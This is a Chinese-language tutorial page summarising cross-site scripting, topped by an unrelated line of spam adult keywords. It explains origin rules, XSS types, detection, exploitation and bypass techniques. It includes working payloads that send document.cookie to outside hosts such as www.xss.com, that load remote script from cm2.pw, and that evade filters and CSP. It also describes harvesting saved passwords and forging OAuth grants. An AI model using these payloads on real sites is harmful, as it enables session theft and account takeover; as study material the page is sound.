宅男在线永久免费观看网直播,亚洲欧洲日产国码无码久久99,野花社区在线观看视频,亚洲人交乣女bbw,一本一本久久a久久精品综合不卡

全部
常見問題
產(chǎn)品動態(tài)
精選推薦

XSS知識總結(jié)

管理 管理 編輯 刪除

XSS基礎(chǔ)

跨站腳本(英語:Cross-site scripting,通常簡稱為:XSS)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網(wǎng)頁上,其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。

XSS攻擊通常指的是通過利用網(wǎng)頁開發(fā)時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是JavaScript,但實際上也可以包括Java,VBScript,ActiveX,F(xiàn)lash或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容、會話和cookie等各種內(nèi)容。

同源策略

同源策略是指在Web瀏覽器中,允許某個網(wǎng)頁腳本訪問另一個網(wǎng)頁的數(shù)據(jù),但前提是這兩個網(wǎng)頁必須有相同的URI、主機名和端口號,一旦兩個網(wǎng)站滿足上述條件,這兩個網(wǎng)站就被認定為具有相同來源。此策略可防止某個網(wǎng)頁上的惡意腳本通過該頁面的文檔對象模型訪問另一網(wǎng)頁上的敏感數(shù)據(jù)。

同源策略對Web應(yīng)用程序具有特殊意義,因為Web應(yīng)用程序廣泛依賴于HTTP cookie來維持用戶會話,所以必須將不相關(guān)網(wǎng)站嚴格分隔,以防止丟失數(shù)據(jù)泄露。

值得注意的是同源策略僅適用于腳本,這意味著某網(wǎng)站可以通過相應(yīng)的HTML標簽訪問不同來源網(wǎng)站上的圖像、CSS和動態(tài)加載腳本等資源。而跨站請求偽造就是利用同源策略不適用于HTML標簽的缺陷。

舉例:

fd93520230425175057188.png

跨域方法總結(jié)

HTML標簽

<script> 等帶src屬性的標簽都可以跨域加載資源,而不受同源策略的限制。每次加載時都會由瀏覽器發(fā)送一次GET請求,通過src屬性加載的資源,瀏覽器會限制JavaScript的權(quán)限,使其不能讀寫返回的內(nèi)容。

常見標簽:

<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
document.domain

原理:相同主域名不同子域名下的頁面,可以設(shè)置document.domain讓它們同域

我們只需要在跨域的兩個頁面中設(shè)置document.domain就可以了。修改document.domain的方法只適用于不同子域的框架間的交互,要載入iframe頁面。

例如:

在頁面 http://a.example.com/a.html 設(shè)置document.domain

<iframe id = "iframe" src="http://b.example.com/b.html" onload = "test()"></iframe>
<script type="text/javascript">
    document.domain = 'example.com';//設(shè)置成主域
    function test(){
        alert(document.getElementById('?iframe').contentWindow);//contentWindow 可取得子窗口的 window 對象
    }
</script>

2、在頁面http:// b.example.com/b.html 中設(shè)置document.domain

<script type="text/javascript">
    document.domain = 'example.com';//在iframe載入這個頁面也設(shè)置document.domain,使之與主頁面的document.domain相同
</script>

Window.name

在javascript中,Window 對象表示瀏覽器中打開的窗口,而name屬性可設(shè)置或返回存放窗口的名稱的一個字符串。

window.name有一個奇妙的性質(zhì),頁面如果設(shè)置了window.name,那么在不關(guān)閉頁面的情況下,即使進行了頁面跳轉(zhuǎn)location.href=…,這個window.name還是會保留。

利用window.name的性質(zhì),我們可以在iframe中加載一個跨域頁面。

這個頁面載入之后,讓它設(shè)置自己的window.name,然后再讓它進行當前頁面的跳轉(zhuǎn),跳轉(zhuǎn)到與iframe外的頁面同域的頁面,此時window.name是不會改變的。

這樣,iframe內(nèi)外就屬于同一個域了,且window.name還是跨域的頁面所設(shè)置的值。

假設(shè)我們有3個頁面,

a.com/index.html
a.com/empty.html
b.com/index.html

(1)在a.com/index.html 頁面中嵌入一個iframe,設(shè)置src為b.com/index.html

(2)b.com/index.html 載入后,設(shè)置window.name,然后再使用location.href='a.com/empty.html’跳轉(zhuǎn)到與iframe外頁面同域的頁面中。

(3)在a.com/index.html 頁面中,就可以通過$(‘iframe’).contentWindow.name來獲取iframe內(nèi)頁面a.com/empty.html 的window.name值了,而這個值正是b.com/index.html 設(shè)置的。

window.postMessage

window.postMessage(message, targetOrgin)方法是html5新引進的特性。

調(diào)用postMessage方法的window對象是指要接受消息的哪一個window對象,該方法的第一個參數(shù)message為要發(fā)送的消息,類型只能為字符串;第二個參數(shù)targetOrgin用來限定接收消息的那個window對象所在的域,如果不想限定域,可以使用通配符*。

需要接收消息的window對象,可是通過監(jiān)聽自身的message時間來獲取傳過來的消息,消息內(nèi)容存儲在該事件對象的data屬性中。

location.hash

location.hash 方式跨域,是子框架具有修改父框架 src 的 hash 值,通過這個屬性進行傳遞數(shù)據(jù),且更改 hash 值,頁面不會刷新。但是傳遞的數(shù)據(jù)的字節(jié)數(shù)是有限的。

詳細參考:https://xz.aliyun.com/t/224#toc-3

a.html欲與b.html跨域相互通信,通過中間頁c.html來實現(xiàn)。 三個頁面,不同域之間利用iframe的location.hash傳值,相同域之間直接js訪問來通信。

具體實現(xiàn)步驟:一開始a.html給b.html傳一個hash值,然后b.html收到hash值后,再把hash值傳遞給c.html,最后c.html將結(jié)果放到a.html的hash值中。

6325e202304251753405562.png

JSONP跨域

原理:

<script type="text/javascript">
    function dosomething(jsondata){
        //處理獲得的json數(shù)據(jù)
    }
</script>
<script src="http://haorooms.com/data.php?callback=dosomething"></script>

后臺代碼:

<?php
$callback = $_GET['callback'];//得到回調(diào)函數(shù)名
$data = array('a','b','c');//要返回的數(shù)據(jù)
echo $callback.'('.json_encode($data).')';//輸出
?>

跨域資源共享(CORS)

原理:服務(wù)器設(shè)置Access-Control-Allow-Origin HTTP響應(yīng)頭之后,瀏覽器將會允許跨域請求

CORS是HTML5標準提出的跨域資源共享(Cross Origin Resource Share),支持GET、POST等所有HTTP請求。CORS需要服務(wù)器端設(shè)置Access-Control-Allow-Origin頭,否則瀏覽器會因為安全策略攔截返回的信息。

Access-Control-Allow-Origin: * # 允許所有域名訪問,或者
Access-Control-Allow-Origin: http://a.com # 只允許所有域名訪問

CORS又分為簡單跨域和非簡單跨域請求,有關(guān)CORS的詳細介紹請看阮一峰的跨域資源共享 CORS 詳解,里面講解的非常詳細。

CSP-內(nèi)容安全策略

CSP(Content Security Policy)即內(nèi)容安全策略,為了緩解很大一部分潛在的跨站腳本問題,瀏覽器的擴展程序系統(tǒng)引入了內(nèi)容安全策略(CSP)的一般概念。這將引入一些相當嚴格的策略,會使擴展程序在默認情況下更加安全,開發(fā)者可以創(chuàng)建并強制應(yīng)用一些規(guī)則,管理網(wǎng)站允許加載的內(nèi)容。

CSP的實質(zhì)就是白名單機制,對網(wǎng)站加載或執(zhí)行的資源進行安全策略的控制。

關(guān)于CSP繞過,在下面的XSS Bypass - CSP繞過板塊中有所介紹。

XSS分類及對比

最常見的三種分類:

反射型(非持久型)
存儲型(持久型)
DOM型

反射型
反射型XSS只是簡單的把用戶輸入的數(shù)據(jù)從服務(wù)器反射給用戶瀏覽器,要利用這個漏洞,攻擊者必須以某種方式誘導(dǎo)用戶訪問一個精心設(shè)計的URL(惡意鏈接),才能實施攻擊。

舉例來說,當一個網(wǎng)站的代碼中包含類似下面的語句,

<?php echo "<p>hello,$_GET['user']</p>"; ?>

那么在訪問時設(shè)置

xxxxxx/?user=</p><script>alert("hack")</script><p>

則可執(zhí)行預(yù)設(shè)好的JavaScript代碼。

漏洞成因
當用戶的輸入或者一些用戶可控參數(shù)未經(jīng)處理地輸出到頁面上,就容易產(chǎn)生XSS漏洞。主要場景有以下幾種:

1、將不可信數(shù)據(jù)插入到HTML標簽之間時,例如DIV, P, TD;

2、將不可信數(shù)據(jù)插入到HTML屬性里時,形如:

<div width=$INPUT> …content… </div>

3、將不可信數(shù)據(jù)插入到SCRIPT里時,如下:

<script>
var message = ” $INPUT “;
</script>

4、還有插入到Style屬性里的情況,同樣具有一定的危害性

<span style=” property : $INPUT ”> … </span>

5、將不可信數(shù)據(jù)插入到HTML URL里時,形如:

<a href=”http://www.abcd.com?param= $INPUT ”> Link Content </a>

6、使用富文本時,沒有使用XSS規(guī)則引擎進行編碼過濾。

對于以上的幾個場景,若服務(wù)端沒有做好防范措施,就會出現(xiàn)漏洞隱患。

利用方式
反射型攻擊流程:

7789d202304251758118717.png

DOM型
通過修改頁面的DOM節(jié)點形成的XSS,稱之為DOM Based XSS

例如這么一個頁面:

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

在這段代碼中,submit按鈕的onclick事件調(diào)用了xsstest()函數(shù)。而在xsstest()中,修改了頁面的DOM節(jié)點,通過innerHTML把一段用戶數(shù)據(jù)當作HTML寫入到頁面中,造成了DOM Based XSS。

當用戶輸入: x’ οnerrοr=’javascript:alert(/xss/) ,代碼就變成了:

<img src='x' onerror='javascript:alert(/xss/)'></img>

最后腳本被執(zhí)行,出現(xiàn)彈窗。

前面兩種惡意腳本都會經(jīng)過服務(wù)器端然后返回給客戶端,相對DOM型來說比較好檢測與防御,而DOM型不用將惡意腳本傳輸?shù)椒?wù)器在返回客戶端,即DOM型XSS一般和服務(wù)器的解析響應(yīng)沒有直接的關(guān)系,而是在JavaScript腳本動態(tài)執(zhí)行的過程中產(chǎn)生的。

兩個典型的DOM過程

1)反射型DOM base XSS

7813b202304251800141153.png

2)存儲型DOM base XSS

29185202304251800416751.png

DOM XSS的利用
確定基于DOM型的XSS漏洞,一種有效的方法是,檢查所有客戶端JavaScript,看其中是否使用任何可能會導(dǎo)致漏洞的DOM屬性。

檢查每一段客戶端JavaScript,看其中是否出現(xiàn)以下API,它們可用于訪問通過一個專門設(shè)計的URL控制的DOM數(shù)據(jù);

 document.location
 document.URL
 document.URLUnencoded
 document.referrer
 window.location

在每一個使用上述API的位置,仔細檢查那里的代碼,確定應(yīng)用程序如何處理用戶可控的數(shù)據(jù);以及是否可以使用專門設(shè)計的輸入來執(zhí)行JavaScript。

尤其注意檢查并測試控制的數(shù)據(jù)被傳送至以下任何一個API的情況:

document.write()
document.writeln()
document.body.innerHtml eval()
window.execScript()
window.setInterval()
window.setTimeout()

其它類型
mXSS
mXSS中文是突變型XSS,指的是原先的Payload提交是無害不會產(chǎn)生XSS,而由于一些特殊原因,如反編碼等,導(dǎo)致Payload發(fā)生變異,導(dǎo)致的XSS。
mXSS圖解:

025e220230425180317948.png

其中由于innerHTML會將HTML實體,CSS轉(zhuǎn)義字符,ANSI編碼等進行反轉(zhuǎn)義,因此原來被轉(zhuǎn)義之后認為安全的用戶輸入很有可能在繞過過濾器之后被反轉(zhuǎn)回去。

下面的漏洞是存在于以前版本的PC的QQ客戶端的頁面預(yù)覽功能。

cf399202304251804025344.png

這是博客園提交的一篇文章,可以看到,提交的XSS Payload已經(jīng)被轉(zhuǎn)義了,不產(chǎn)生危害。

02e91202304251804464658.png

ae71a202304251805326268.png

上圖是在QQ客戶端里分享上面的博客園那篇文章的鏈接,而QQ存在網(wǎng)址預(yù)覽功能,于是點擊網(wǎng)址可以在右側(cè)顯示出優(yōu)化后的頁面的內(nèi)容,就導(dǎo)致了XSS的產(chǎn)生;這個預(yù)覽功能實際上是QQ客戶端內(nèi)嵌了一個網(wǎng)頁,這個頁面對原網(wǎng)頁內(nèi)容進行提取和處理的過程中,將原本無害的XSS Payload進行了轉(zhuǎn)碼操作,于是導(dǎo)致了Payload 變異而產(chǎn)生了XSS。

uXSS

UXSS全稱Universal Cross-Site Scripting,翻譯過來就是通用型XSS,也叫Universal XSS。UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。UXSS 可以理解為Bypass 同源策略。

常見的XSS攻擊的是因為客戶端或服務(wù)端的代碼開發(fā)不嚴謹?shù)葐栴}而存在漏洞的目標網(wǎng)站或者應(yīng)用程序。這些攻擊的先決條件是頁面存在漏洞,而它們的影響往往也圍繞著漏洞頁面本身的用戶會話。換句話說,因為瀏覽器的安全功能的影響,XSS攻擊只能讀取受感染的會話,而無法讀取其他的會話信息,也就是同源策略的影響。

UXSS保留了基本XSS的特點,利用漏洞,執(zhí)行惡意代碼,但是有一個重要的區(qū)別:

不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。

漏洞挖掘/檢測

Fuzzing技術(shù)

Fuzzing(模糊測試)是挖掘漏洞最常用的手段之一,不止是XSS,應(yīng)該可以說Fuzzing可以用于大部分類型的漏洞挖掘。通俗可以把這種方式理解為不斷嘗試的過程。

Fuzzing流程圖(出處):

d2e9a202304251808386118.png

XSS fuzzing技術(shù) 推薦閱讀:https://www.fooying.com/the-art-of-xss-2-xss-fuzzing/

代碼審計

XSS數(shù)據(jù)源
即可以由外部(不受信任)源控制的輸入點:

URL

location

location.pathname

location.search

location.hash

document.URL

document.documentURI

document.baseURI

Navigation

window.name

document.referer

Communication

Ajax

Fetch

WebSocket

PostMessage

Storage

Cookie

LocalStorage

SessionStotage

論壇文章:通過代碼審計找出網(wǎng)站中的XSS漏洞實戰(zhàn)

XSS的利用

利用XSS竊取cookie
竊取cookie是xss利用最常見的手段,攻擊者有了cookie就相當于擁有了“管理員”身份。通常需要配合xss平臺來進行攻擊,當被攻擊者訪問到有惡意代碼的頁面,他的cookie就會被發(fā)送到xss平臺。

常用獲取cookie的js代碼如下:

<img src="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>

其中本地的XSS_cookie.php中的內(nèi)容如下:

71a47202304251810029637.png

XSS修改網(wǎng)頁
該利用方式的前提是網(wǎng)站必須存在存儲型xss漏洞,并且會將結(jié)果返回到頁面上。我們可以在源碼中插入一段js代碼,作用在于獲取網(wǎng)站源碼中的標簽,然后修改其中的屬性值,達到修改網(wǎng)頁的效果。也可以構(gòu)造彈窗等誘導(dǎo)被攻擊者輸入賬號密碼等關(guān)鍵信息。

XSS獲取用戶信息

利用xss除了能夠獲取用戶cookie,還能獲取諸如瀏覽器版本、外網(wǎng)IP地址、瀏覽器安裝的插件類型等信息。比如alert(navigator.userAgent); 能夠讀取userAgent內(nèi)容;利用java環(huán)境,調(diào)用java Applet的接口獲取客戶端本地ip等。

XSS+CSRF 組合拳

組合拳思路

存儲型 XSS + CSRF(存儲型 XSS 攻擊代碼中加入 CSRF 代碼鏈接)

存儲型XSS + CSRF

其中存儲型xss payload:

<script src="x" οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>

可知該javascript腳本會打開http://localhost/csrf.html的窗口。我們可以通過csrf利用工具生成隱匿的惡意csrf.html文件,再通過存儲型xss模擬用戶訪問該頁面,最終達成在用戶不知不覺的情況下執(zhí)行跨站請求的操作。

盲打XSS(Blind XSS)

成因

常規(guī)的XSS攻擊是通過頁面返回內(nèi)容中JS攻擊代碼的生效與否來判斷XSS的攻擊是否成功;而對于一些網(wǎng)頁功能,比如反饋,我們可以發(fā)現(xiàn),不管你提交什么內(nèi)容,返回的內(nèi)容都是”感謝您的反饋”類似的語句,并不會根據(jù)你提交的內(nèi)容而在頁面中顯示不同的內(nèi)容,對于這樣的內(nèi)容提交點,就無法通過頁面反饋判斷攻擊代碼是否注入成功,那么就可以通過XSS盲打。

Blind XSS 是一種持久型的XSS,依靠目標web頁面的代碼中的漏洞,允許惡意代碼插入到web控件中,被服務(wù)器存儲到數(shù)據(jù)庫或者網(wǎng)站設(shè)置文件中。這些惡意代碼將被作為HTML響應(yīng)頁面的一部分向其他用戶提供服務(wù),而不會被檢測。

常見場景

盲打XSS的常見目標:登錄表單及論壇/留言板

登錄表單經(jīng)常從網(wǎng)頁接收輸入的用戶名,并將它保存到一個之后可以被查看的日志文件中。因此,一次在登錄表單的“用戶名”模塊輸入惡意代碼后的失敗的登錄,將會導(dǎo)致服務(wù)器將輸入保存到日志中,這樣日志中就將惡意代碼當做“用戶名”保存。攻擊者可以執(zhí)行一些這樣的登錄嘗試,為了將惡意代碼傳入到日志數(shù)據(jù)庫中或日志文件中。當管理員通過web的形式瀏覽日志時,惡意代碼就會被執(zhí)行。

類似于之前的場景,攻擊者也可以在論壇或留言板的主題標題中插入惡意代碼。服務(wù)器通常會將它們提交的數(shù)據(jù)保存到數(shù)據(jù)庫中,并且存儲的信息對其他人可見,比如版主等。

利用

XSS盲打一般通過XSS盲打平臺,在XSS盲打平臺建立項目,會生成項目攻擊鏈接,實際上就是一個類似JS文件的訪問鏈接,這個JS文件中其中至少包含一個功能,那就是向盲打平臺發(fā)送GET/POST請求傳輸數(shù)據(jù)回來,比如Cookie,這樣的話,類似在反饋頁面提交的攻擊代碼一旦生效,就等于JS代碼被執(zhí)行,那么就會向盲打平臺返回數(shù)據(jù),那就說明攻擊成功了;假如一直沒有返回數(shù)據(jù),那就說明提交的攻擊代碼沒有執(zhí)行或者執(zhí)行出問題,也就證明攻擊失敗。

盲打平臺的項目:
a879820230425181238857.png

開啟HttpOnly下的利用

HttpOnly概念:HttpOnly是Set-Cookie HTTP響應(yīng)頭中包含的附加標志。生成cookie時使用HttpOnly標志有助于降低客戶端腳本訪問受保護cookie的風(fēng)險(如果瀏覽器支持它)。如果HTTP響應(yīng)頭中包含HttpOnly標志,客戶端腳本就無法訪問cookie。因此,即使存在跨站點腳本(XSS)缺陷,且用戶意外訪問利用此漏洞的鏈接,瀏覽器也不會向第三方透露cookie。那么我們可以通過XSS直接在源站上完成操作,不直接獲取cookie。

1.phpinfo頁

偽造對方身份訪問同站的phpinfo頁面,因為同域所以通過ajax提交訪問可以讀取到responseText,其中$_SERVER[“HTTP_COOKIE”]會打印出具有httponly屬性的cookies。

優(yōu)點:成功率很高,最不容易被察覺,也是最常用的一種方式。

缺點:需要phpinfo頁,條件苛刻。

2.框架釣魚

通過標簽嵌入一個遠程域,完全撐開后,以覆蓋原有的頁面。

優(yōu)點:無跳轉(zhuǎn),域名無改變。

缺點:通常會覆蓋某個正常的頁面,管理員易察覺。

3.跳轉(zhuǎn)釣魚

通過購買相似域名,構(gòu)建相同的釣魚頁面,使受害者跳轉(zhuǎn)至釣魚站。

優(yōu)點:主動性較強,可主動釣魚。

缺點:成本較高,且由于頁面跳轉(zhuǎn)過于明顯,所以此方法十分容易被發(fā)現(xiàn)。

4.歷史密碼

通過js偽造登錄表單,欺騙瀏覽器自動填入,由此獲取瀏覽器記住的歷史密碼。

優(yōu)點:不易被發(fā)現(xiàn),可直接獲取明文,成功率較高。

缺點:各內(nèi)核瀏覽器兼容性不一,最新版google已不支持http協(xié)議下的自動填入功能。

5.獲取源碼

通過xss獲取后端頁面源碼,常??梢园l(fā)現(xiàn)一些越權(quán)訪問,或者配合CSRF打組合拳去添加新用戶或者執(zhí)行其他的功能,以及通過審計后臺js發(fā)現(xiàn)一些漏洞等。

優(yōu)點:信息獲取的比較詳細,也可以獲取到后臺賬號名稱。

缺點:局限性較大,不易于利用。

6.通過xss偽造oauth等授權(quán)請求,遠程登錄

推薦閱讀:sourse

Oauth簡介

Oauth這種機制允許第三方獲取用戶賬戶的長期訪問權(quán)限,之前已經(jīng)有攻擊者濫用過該機制,誘騙用戶點擊授權(quán)按鈕。 授權(quán)第三方應(yīng)用后,用戶可以為第三方應(yīng)用提供一個長期可用的令牌,第三方應(yīng)用可以通過不同方式,利用該令牌訪問用戶賬戶。這是在cookie受保護的情況下,攻擊者能夠長期有效、不受限制、隱蔽地訪問受害者賬戶的方法。

由于我們能以用戶的身份執(zhí)行一些操作(無cookie情況下),那么只要Oauth的授權(quán)頁面與XSS點同源,那么就能以用戶的身份安裝Oauth應(yīng)用。

其它

xss的利用方式多種多樣,遠不止以上的幾種,比方說還能夠利用XSS+CSRF組合拳來添加管理員、利用html5的canvas來截取客戶的屏幕,還有針對移動端的xss攻擊等。思路有很多,此處便不展開討論了。

網(wǎng)站推薦:http://www.xss-payloads.com/

XSS payload

總結(jié)再多不如給個github鏈接[dog]:

PayloadsAllTheThings/XSS Injection

xss-payload-list

XSS Filter Evasion Cheat Sheet | OWASP

以及:

2020年仍然有效的一些XSS Payload

XSS Bypass

常規(guī)的繞過

xss繞過防御通過構(gòu)造特殊的payload來達成目標,方法主要有以下幾種:

轉(zhuǎn)換大小寫
大小寫混寫

<ImG sRc=x onerRor=alert("xss");>
<ImG sRc=x onerRor=alert("xss");>

雙引號改單引號
引號改為/,用/代替空格

<img/src="x"/οnerrοr=alert("xss");>

用全角字符
利用link遠程包含js文件
在無CSP的情況下才可以

<link rel=import >

字符拼接
a.利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

b.利用top

<script>top["al"+"ert"](`xss`);</script>

使用javascript偽協(xié)議
使用回車、空格等特殊字符
在css的style中使用/**/注釋符
使用字符編碼
HTML編碼 十六/八進制編碼 base64編碼 ASCII編碼 HEX編碼繞過 Unicode編碼

以下標簽屬性值可以被編碼:

javascript
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

字符集

有時可用一些非標準編碼繞開過濾器

UTF-7、US-ASCII、UTF-16

利用事件觸發(fā)xss
以上多數(shù)是存在過濾情況下的bypass方法,可以結(jié)合XSS payload下的內(nèi)容一起學(xué)習(xí)。
長度限制的繞過

1.eval(name)

這可能是一個可以執(zhí)行任意javascript的最短的有效負載。name屬性可以被分配任何代碼,并且也繼承了跨域。這給了我們一個好處,使我們可以不受任何限制地執(zhí)行任何payload,除非頁面重寫name。

POC: https://attacker.cm2.pw/?xss=name=“d=document;s=d.createElement(‘script’);s.src=’//cm2.pw’;d.body.appendChild(s)”;open(’//victim.cm2.pw/?xss=

Payload 長度:

‘javascript:eval(name)’.length==21

2.import

這是獲取外部javascript的另一個最短的payload,但是只能在基于Chromium的瀏覽器上工作。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:import(//?.?/))

Payload 長度:

 'javascript:import(/\?.?/)'.length==24

3.$.getsc ript

這是一個非常有名的jQuery函數(shù),用來加載外部javascript。在全局上下文中獲取并執(zhí)行腳本,就像script標簽加載的一樣。但是,這要求jQuery已經(jīng)在頁面中加載。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.getsc ript(//cm2.pw/))

Payload 長度:

 'javascript:$.getsc ript(/\?.?/)'.length==29

4.$.get

這是另一個jQuery函數(shù),如果返回的Content類型設(shè)置為text/javascript,則該函數(shù)可以加載和執(zhí)行外部ja vasc ript。這實際上是一個僅在jQuery 3.0.0之前能生效的漏洞。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.get(//cm2.pw/))

Payload 長度:

 'javascript:$.get(/\?.?/)'.length==23

使用現(xiàn)有元素和/或?qū)傩?/p>

找到由用戶部分或完全控制的HTML元素和ja vasc ript屬性值并不罕見。雖然這可能需要花費一些時間,但是當插入的XSS長度受限時,它可以提供巨大的幫助。例如,大多數(shù)Ajax驅(qū)使應(yīng)用存儲hash標識符以便于導(dǎo)航。

如果頁面存儲hash如下;

 const hash = document.location.hash;

我們可以用它來加載外部腳本;

 eval("'"+hash)

POC:

https://victim.cm2.pw/?xss=const hash=document.location.hash;[Click](https://nosec.org/home/detail/ja vasc ript:eval(`'`%2bhash))#';d=document;s=d.createElement('sc ript');s.src='//cm2.pw';d.body.appendChild(s)

   Payload 長度:

`ja vasc ript:eval("'"+hash)`.length==25

還有些無現(xiàn)成案例的繞過方法,可以參考:https://nosec.org/home/detail/2032.html

CSP(內(nèi)容安全策略)繞過
Content Security Policy (CSP)內(nèi)容安全策略,是一個附加的安全層,有助于檢測并緩解某些類型的攻擊,包括跨站腳本(XSS)和數(shù)據(jù)注入攻擊。

CSP的特點就是它是在瀏覽器層面做的防護,是和同源策略同一級別,除非瀏覽器本身出現(xiàn)漏洞,否則不可能從機制上繞過。

CSP只允許被認可的JS塊、JS文件、CSS等解析,只允許向指定的域發(fā)起請求。

利用頁面預(yù)加載

瀏覽器為了增強體驗,讓瀏覽器更有效率,就有個預(yù)加載的功能,體是利瀏覽器空閑時間去加載指定的內(nèi)容,然后緩存起來。這個技術(shù)細分為DNS-prefetch、subresource、prefetch、preconnect、 prerender。HTML5??預(yù)加載是?link標簽的rel屬性來指定的。如果csp頭有 unsafe-inline,則?預(yù)加載的?式可以向外界發(fā)出請求,例如

利用302重定向

利用url跳轉(zhuǎn)可以回避嚴格的CSP。

在允許unsafe-inline的情況下,可以用window.location,或者window.open之類的方法進行跳轉(zhuǎn)繞過。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

在 default-src ‘none’ 的情況下,可以使用 meta 標簽實現(xiàn)跳轉(zhuǎn)

 <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

標簽配合站內(nèi)的某些可控 JS 點擊操作來跳轉(zhuǎn)

 <script>  $(#foo).click()</script><a id="foo" href="xxxxx.com">

利用網(wǎng)站本身的跳轉(zhuǎn)接口

http://foo.com/jmp.php?url=attack.com

利用瀏覽器補全

有些網(wǎng)站限制只有某些腳本才能使用,往往會使用

Content-Security-Policy: default-src ‘none’;script-src ‘nonce-abc’
那么當腳本插入點為如下的情況時

<p>插入點</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

這樣會拼成一個新的script標簽,其中的src可以自由設(shè)定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
MIME Sniff(利用上傳文件)

舉例來說,csp禁?跨站讀取腳本,但是可以跨站讀img,那么傳?個 含有腳本的img,再

利用iframe標簽

1.如果頁面A中有CSP限制,但是頁面B中沒有,同時A和B同源,那么就可以在A頁面中包含B頁面來繞過CSP:

<iframe src="B"></iframe>

2.在Chrome下,iframe標簽支持csp屬性,這有時候可以用來繞過一些防御,例如http://xxx頁面有個js庫會過濾XSS向量,我們就可以使用csp屬性來禁掉這個js庫。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

可見繞過CSP的姿勢其實有很多,在不同的情況下有不同的繞過方法,以上只介紹了常見的幾種。

X-XSS-Protection 繞過

xss-protection概念

從IE8 開始,IE 瀏覽器內(nèi)置了一個針對XSS攻擊的防護機制,這個瀏覽器內(nèi)置的防護機制就是所謂的XSS filter,這個防護機制主要用于減輕反射型XSS 攻擊帶來的危害。

基于Webkit 內(nèi)核的瀏覽器(比如Chrome)隨后也增加一個名為XSS auditor 的防護機制,作用和IE中的XSS filter類似。這兩種XSS防護機制的目的都很簡單,如果瀏覽器檢測到了含有惡意代碼的輸入被呈現(xiàn)在HTML文檔中,那么這段呈現(xiàn)的惡意代碼要么被刪除,要么被轉(zhuǎn)義,惡意代碼不會被正常的渲染出來,當然了,瀏覽器是否要攔截這段惡意代碼取決于瀏覽器的XSS防護設(shè)置。

至于怎么設(shè)置瀏覽器的XSS防護機制,其實很簡單,只要在HTTP響應(yīng)報文的頭部增加一個X-XSS-Protection 字段,明確地告訴瀏覽器XSS filter/auditor該如何工作。 X-XSS-Protection 的字段有三個可選配置值

0: 表示關(guān)閉瀏覽器的XSS防護機制

1:刪除檢測到的惡意代碼, 如果響應(yīng)報文中沒有看到X-XSS-Protection 字段,那么瀏覽器就認為X-XSS-Protection配置為1,這是瀏覽器的默認設(shè)置

1; mode=block:如果檢測到惡意代碼,則不渲染惡意代碼

Chrome XSS Auditor - SVG Bypass

原始 PoC :

https://localhost/<svg><script>/<1/>alert(0)</script>

官方給出補丁中的描述對這一漏洞進行了介紹,大意是,當過濾器過濾 script 標簽的內(nèi)容時,第一個區(qū)塊的過濾結(jié)果將會影響后續(xù)區(qū)塊。如果第一個區(qū)塊被處理為空時,過濾匹配將會失敗。

詳細參考(漏洞原理分析):soursel

關(guān)于更多的Chrome XSS Auditor bypass參考:sourse

NoScript bypass

利用白名單站點的Cross Site Script漏洞

在NoScript安全機制中,因為白名單中的站點是允許在瀏覽器中執(zhí)行JavaScript腳本的,只要有一個簡單的XSS漏洞就可以了。雖然NoScript本身也提供了cross-sitescript過濾器,但是它并不能完全阻止XSS攻擊。

利用MITM攻擊

我們知道NoScript是通過白名單上的站點來確定哪些網(wǎng)站可以自由執(zhí)行腳本。也就是說,所有的安全全部依賴于白名單上網(wǎng)站的站點安全,以及該網(wǎng)站所在的內(nèi)網(wǎng)的安全情況。

那么,只要在內(nèi)網(wǎng)中欺騙用戶的瀏覽器,就能執(zhí)行JavaScript腳本,NoScript就能被繞過。

以上兩種方法的實例演示:http://www.mottoin.com/detail/503.html

XSS 平臺和工具

XSS平臺
xss平臺是對xss漏洞進行利用的程序,網(wǎng)上有許多類似的開放平臺,但是想要好的體驗就得自己搭建一個。以下是搭建XSS平臺的參考鏈接:

Xss平臺源碼——來自論壇

https://github.com/trysec/BlueLotus_XSSReceiver——github

BeEF-XSS

BeEF是一款專注于Web瀏覽器的滲透測試工具,它內(nèi)置有許多的payload,其中的XSS模塊功能十分強大。

XSStrike

XSStrike是一個xss檢測工具,配備了四個手工編寫的解析器、一個智能的payload生成器、一個強大的fuzzing引擎和一個速度很快的爬蟲。XSStrike不像其他工具那樣注入payload并檢查它的工作,而是使用多個解析器分析響應(yīng),然后通過與fuzzing引擎集成的上下文分析來保證有效載荷的工作。

